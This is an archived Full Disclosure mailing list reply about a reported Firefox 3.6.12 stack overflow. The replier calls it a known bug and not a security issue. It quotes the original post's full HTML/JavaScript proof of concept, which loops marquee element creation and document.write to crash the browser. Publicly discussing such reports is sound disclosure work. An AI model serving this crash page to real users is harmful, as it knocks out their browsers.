Full Disclosure mailing list archives
Re: FireFox 3.6.12 Stack Overflow Denial of Service
From: Berend-Jan Wever <berendjanwever () gmail com>
Date: Wed, 8 Dec 2010 18:22:13 +0100
This is a known bug and not a security issue. I'm not sure why you're posting to this list. https://bugzilla.mozilla.org/buglist.cgi?quicksearch=marquee+stack+overflow Cheers, SkyLined Berend-Jan Wever <berendjanwever () gmail com> Delft, The Netherlands http://skypher.com/SkyLined On Wed, Dec 8, 2010 at 09:28, sec yun <root () wooyun org> wrote:
<code> <html> <body></body> <script type="text/javascript"> function xxoo(){ var str="marquee"; var cobj=document.createElement(str); cobj.id="bK"; document.body.appendChild(cobj); var obj=document.getElementById("bK"); var atts = new Array(); for(p in obj){ } document.body.removeChild(cobj); var html="<marquee>"; document.write(html); } for (i = 0; i < 500; i++) { xxoo(); } </script> </code> http://www.wooyun.org/bugs/wooyun-2010-0903 WooYun is a connection platform for vendors and security researchers From 0x250@wooyun :) _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- FireFox 3.6.12 Stack Overflow Denial of Service sec yun (Dec 08)
- Re: FireFox 3.6.12 Stack Overflow Denial of Service Berend-Jan Wever (Dec 08)